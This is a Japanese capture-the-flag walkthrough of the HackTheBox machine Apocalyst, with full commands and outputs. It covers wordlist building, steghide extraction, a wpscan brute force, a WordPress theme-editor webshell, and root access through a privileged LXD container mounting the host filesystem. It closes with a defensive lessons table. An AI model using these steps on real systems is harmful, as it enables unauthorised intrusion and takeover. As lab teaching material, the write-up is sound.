HackTheBox: Apocalyst — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、WordPress検出
→
22/80、WordPress検出
CeWL + steghide
/Rightiousness/ → list.txt
→
/Rightiousness/ → list.txt
wpscan ブルートフォース
falaraki / Transclisiation
→
falaraki / Transclisiation
テーマエディタRCE
single.php webshell
→
single.php webshell
www-data シェル
user.txt ✓
→
user.txt ✓
.secret復号 → SSH
lxd グループ所属判明
→
lxd グループ所属判明
特権LXDコンテナ
ホスト / をマウント
→
ホスト / をマウント
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.61.122 nmap -sV -sC -p 22,80 10.129.61.122
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 80/tcp open http Apache httpd |_http-title: Apocalypse Preparation Blog Nmap done: 1 IP address (1 host up) scanned
ℹ️
オープンポートは
22 (SSH) と 80 (Apache) のみ。80番の応答内容から
WordPress ベースのブログ (“Apocalypse Preparation Blog”) と判明。
/etc/hosts へのホスト名登録
BASH
echo "10.129.61.122 apocalyst.htb" | sudo tee -a /etc/hosts
⚠️
WordPress の
siteurl がホスト名ベースの絶対URLで設定されているため、
IPアドレス直打ちでは一部のリンク・リダイレクトが正しく機能しない。
必ずホスト名 apocalyst.htb でアクセスする。
通常のディレクトリ列挙は空振り
BASH
gobuster dir -u http://apocalyst.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
RESULT
wp-admin (302) wp-content (301) wp-includes (301) wp-login.php (200) (標準的なWordPress構成のディレクトリ以外、有用な隠しパスは見つからない)
ℹ️
汎用ワードリストでは何も見つからない。このマシンの隠しディレクトリ名は
サイト自身の文章から作った単語でなければ辞書に含まれない特殊な単語。
PHASE 2
CeWL によるサイト固有ワードリスト生成 & steghide 抽出
CeWL でサイト本文からワードリストを生成
BASH
cewl http://apocalyst.htb/ -w cewl_wordlist.txt --with-numbers -d 3
RESULT
CeWL がブログ本文中の全単語を収集したワードリストを出力 ("Rightiousness" 等、ブログ独自のスペルミス単語も含まれる)
生成したワードリストでディレクトリ列挙 → 隠しディレクトリ発見
BASH
gobuster dir -u http://apocalyst.htb/ -w cewl_wordlist.txt
RESULT
/Rightiousness (Status: 200)
🚨
発見:
/Rightiousness/ (“righteousness” の意図的な綴りミス)
というブログ本文以外には存在しない単語のディレクトリが見つかった。
中に image.jpg が置かれている。
image.jpg を取得し steghide で抽出(空パスフレーズ)
BASH
curl -s -o image.jpg http://apocalyst.htb/Rightiousness/image.jpg steghide info image.jpg steghide extract -sf image.jpg -p "" -xf list.txt
RESULT
"image.jpg": ... embedded data compressed, encrypted ...
wrote extracted data to "list.txt".
✅
steghide の埋め込みパスフレーズが空文字列だったため、パスフレーズ入力を
求められた際に何も入力せず Enter するだけで抽出できる。
list.txt には
多言語の単語が486個含まれており、これを後段の wpscan パスワード辞書に使う。
PHASE 3
WordPress ユーザー名特定 & wpscan パスワードブルートフォース
投稿ページのバイラインからユーザー名を特定
BASH
curl -s http://apocalyst.htb/?p=5 | grep -o 'class="author vcard">]*>[^<]*'
RESULT
class="author vcard"><a ...>falaraki</a>
ℹ️
wp-json REST API (
/wp-json/wp/v2/users) は 404 で無効化されているが、
投稿ページ本文の著者バイライン HTML から直接ユーザー名 falaraki が取得できる。
wpscan で list.txt を辞書にパスワードをブルートフォース
BASH
wpscan --url http://apocalyst.htb --passwords list.txt --usernames falaraki \ --max-threads 10 --no-banner
RESULT
[i] User(s) Identified:
[+] falaraki
Trying falaraki / Transclisiation Time: 00:04:19 ...
[SUCCESS] - falaraki / Transclisiation
✅
資格情報特定:
falaraki / Transclisiation。
list.txt はわずか486語だったため、数分でブルートフォースが完了した。
PHASE 4
テーマエディタ経由の RCE & user.txt 取得
wp-login.php で管理画面にログイン
BASH
curl -s -c cookies.txt http://apocalyst.htb/wp-login.php -o /dev/null curl -s -b cookies.txt -c cookies.txt -o /dev/null \ --data-urlencode "log=falaraki" \ --data-urlencode "pwd=Transclisiation" \ --data-urlencode "wp-submit=Log In" \ --data-urlencode "redirect_to=http://apocalyst.htb/wp-admin/" \ --data-urlencode "testcookie=1" \ http://apocalyst.htb/wp-login.php
RESULT
Set-Cookie: wordpress_logged_in_...=falaraki%7C...; path=/
✅
wordpress_logged_in_* クッキーが発行され、管理画面ログイン成功を確認。
外観 > テーマエディター (single.php) を webshell に書き換え
BASH
# 1. nonce と theme スラッグを取得 curl -s -b cookies.txt "http://apocalyst.htb/wp-admin/theme-editor.php?file=single.php" \ | grep -oE 'name="_wpnonce"\s+value="[^"]+"|name="theme"\s+value="[^"]+"' # 2. single.php の内容をPHP webshellに更新 curl -s -b cookies.txt -o /dev/null \ --data-urlencode "newcontent=" \ --data-urlencode "action=update" \ --data-urlencode "file=single.php" \ --data-urlencode "theme=<取得したtheme値>" \ --data-urlencode "scrollto=0" \ --data-urlencode "_wpnonce=<取得したnonce値>" \ --data-urlencode "submit=Update File" \ http://apocalyst.htb/wp-admin/theme-editor.php
⚠️
single.php は投稿の個別ページ表示に使われるテンプレートファイルなので、
書き換え後は 任意の投稿URL (例: /?p=5) にアクセスするだけで
webshell が実行される。
webshell で RCE 確認 & user.txt 取得
BASH
curl -s -G --data-urlencode "melo=id" http://apocalyst.htb/?p=5 curl -s -G --data-urlencode "melo=cat /home/falaraki/user.txt" http://apocalyst.htb/?p=5
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
d6d2d616835abc852016c9a90ff44c48
user.txt — www-data → falaraki (world-readable)
d6d2d616835abc852016c9a90ff44c48
ℹ️
/home/falaraki/user.txt は world-readable (-r--r--r--) だったため、
www-data 権限のまま直接 cat できた。
PHASE 5
権限昇格の下調べ — .secret 復号 & lxd グループ発見
/etc/passwd が world-writable(PDFオリジナル手法は本番では不成立)
BASH
curl -s -G --data-urlencode "melo=ls -la /etc/passwd" http://apocalyst.htb/?p=5
RESULT
-rw-rw-rw- 1 root root ... /etc/passwd
🚨
重要な検証結果: 公式PDFウォークスルー(2017年時点)は
world-writable な
/etc/passwd に openssl passwd で生成した
UID=0 の行を直接追記し su する手法を紹介しているが、
このライブインスタンスでは機能しないことを確認済み。
/etc/shadow に対応するエントリが存在しないアカウントは
pam_unix が authentication failure として拒否するため(shadow必須の設定に
変更されている)、su でも SSH でも同じ結果になる。
後述の lxd グループ経由の特権コンテナが確実に機能する代替手段。
falaraki のホームディレクトリ調査 → .secret 発見
BASH
curl -s -G --data-urlencode "melo=ls -la /home/falaraki" http://apocalyst.htb/?p=5 curl -s -G --data-urlencode "melo=cat /home/falaraki/.secret" http://apocalyst.htb/?p=5
RESULT (.secret, base64)
S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=
BASH (base64デコード)
echo "S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=" | base64 -d
RESULT
Keep forgetting password so this will keep it safe!
Y0uAINtG37TiNgTH!sUzersP4ss
✅
falaraki の SSH パスワード判明:
Y0uAINtG37TiNgTH!sUzersP4ss
(メモの最終行がパスワード本体)。
SSH ログイン & グループメンバーシップ確認
BASH
ssh falaraki@apocalyst.htb # Password: Y0uAINtG37TiNgTH!sUzersP4ss $ id
RESULT
uid=1000(falaraki) gid=1000(falaraki) groups=1000(falaraki),108(lxd)
🚨
重大発見: falaraki は
lxd グループのメンバー。
LXD の特権コンテナ機能を使えばホストの root として振る舞えるため、
直接的な root 権限昇格ルートが確保できる。
PHASE 6
LXD 特権コンテナによる権限昇格 → root.txt
Alpine LXD イメージを攻撃者ホストで作成
NOTE
ターゲットはインターネットに出られないため、標準の `lxc launch images:...` は使えない。攻撃者(Kali)側で Alpine の minirootfs を取得し、LXD が要求する metadata.tar.gz + rootfs.tar.gz のイメージペアを自作して転送する。
BASH
# Kali側: Alpine minirootfs を取得 curl -L -o rootfs.tar.gz \ https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz # LXD用の metadata.yaml を作った上で metadata.tar.gz にまとめる cat > metadata.yaml <<'EOF' architecture: "x86_64" creation_date: 1700000000 properties: os: "Alpine" release: "v3.18" description: "Alpine minirootfs" EOF tar czf metadata.tar.gz metadata.yaml
SCP でターゲットに転送し、特権コンテナを作成
BASH
scp metadata.tar.gz rootfs.tar.gz falaraki@apocalyst.htb:/tmp/ ssh falaraki@apocalyst.htb $ lxd init --auto $ lxc image import /tmp/metadata.tar.gz /tmp/rootfs.tar.gz --alias apocalpine $ lxc init apocalpine pwn -c security.privileged=true $ lxc config device add pwn hostroot disk source=/ path=/mnt/hostroot recursive=true $ lxc start pwn $ lxc exec pwn -- cat /mnt/hostroot/root/root.txt
ℹ️
security.privileged=true のコンテナは、コンテナ内 root がホスト側 root
(UID 0) に直接マッピングされる(ユーザーネームスペースの分離が無効化される)。
disk source=/ ... recursive=true でホストの / 全体をコンテナ内に
マウントすれば、コンテナ内から見た /mnt/hostroot/ はホストの実ファイル
システムそのものになり、実質的にホスト上の root 権限を得られる。
root.txt 取得
RESULT
ec131617b4840e1f25021aacb5ec36fa
root.txt — via LXD privileged container hostroot mount
ec131617b4840e1f25021aacb5ec36fa
✅
root化成功。 検証後、作成したコンテナ (
pwn) とイメージ
(apocalpine)、転送した tar.gz ファイルはクリーンアップ済み。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — falaraki
d6d2d616835abc852016c9a90ff44c48
root.txt — root@apocalyst
ec131617b4840e1f25021aacb5ec36fa
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ステガノグラフィー隠蔽 + 弱いディレクトリ命名 | /Rightiousness/image.jpg | パスワード辞書の漏洩 | Medium | CeWLでサイト固有ワードリストを作り隠しディレクトリを発見、空パスフレーズのsteghideで辞書ファイル抽出 |
| 弱いWordPressパスワード | WordPress ユーザー falaraki | 管理画面への不正ログイン | High | 抽出した辞書ファイルを使ったwpscanブルートフォースで平文パスワードを特定 |
| テーマエディタ経由のRCE (既知のWordPress機能悪用) | wp-admin/theme-editor.php | リモートコード実行 (www-data) | Critical | 管理画面ログイン後、テーマファイル(single.php)をPHP webshellに書き換えて任意コード実行 |
| lxd グループによる特権コンテナ権限昇格 | falaraki ユーザー (lxdグループ) | root への権限昇格 | Critical | security.privileged=true のLXDコンテナでホストの / を再帰マウントしroot.txtを直接読み取り |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + WordPress検出 | 22/80のみオープン、"Apocalypse Preparation Blog" |
| 2 | 隠しディレクトリ発見 | CeWL固有ワードリスト + gobuster | /Rightiousness/image.jpg |
| 2 | ステガノグラフィー抽出 | steghide (空パスフレーズ) | list.txt (多言語486単語) |
| 3 | 資格情報特定 | 投稿バイライン + wpscanブルートフォース | falaraki / Transclisiation |
| 4 | RCE & エクスプロイト | WordPressテーマエディタ書き換え | user.txt 取得 (www-data経由) |
| 5 | 権限調査 | /etc/passwd確認 (不成立) + .secret復号 | falaraki SSHパスワード、lxdグループ所属 |
| 6 | 権限昇格 | 特権LXDコンテナでホスト / マウント | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サイト独自の単語(スペルミス含む)が汎用ワードリストで見つからない隠しディレクトリ名に使われている | 「見つかりにくい名前」はセキュリティ対策ではない(security through obscurity)。ディレクトリのアクセス制御はサーバー側の認証・認可で行うべき。 |
| 画像ファイルに steghide で機密情報(パスワード辞書)を隠蔽していたが、パスフレーズが空文字列 | ステガノグラフィーは機密情報の保護手段として不十分。空パスフレーズは実質「保護なし」と同義であり、機密情報は正規のシークレット管理システムで扱うべき。 |
| WordPress管理者アカウントのパスワードが小規模な辞書でブルートフォース可能なほど弱い | 強力なパスワードポリシーの強制、ログイン試行回数制限プラグイン(例: Limit Login Attempts)の導入、可能であれば多要素認証を有効化する。 |
| WordPressのテーマエディタ機能が管理者に対して有効なままRCEに直結する | 本番環境では DISALLOW_FILE_EDIT を wp-config.php に設定してテーマ/プラグインエディタを無効化する。管理者アカウントであってもファイル書き込みは最小権限に制限する。 |
一般ユーザーが lxd グループに所属しており、特権コンテナ経由で事実上のroot権限を取得できる |
lxd/docker 等、コンテナ管理グループへの所属は事実上のroot権限と同義であることを認識し、一般ユーザーに安易に付与しない。既知のLXD/Docker権限昇格経路をLinPEAS等の列挙ツールで定期的に確認する。 |
公式ウォークスルー記載の /etc/passwd 直接追記による権限昇格が現行構成では機能しない (pam_unixがshadow必須) |
これは意図した緩和策というより環境設定の差異によるものだが、結果的に「/etc/passwdの世界書き込み権限」単独では侵害に直結しないことを示している。とはいえ world-writable な /etc/passwd 自体は重大な設定不備であり修正すべき。 |
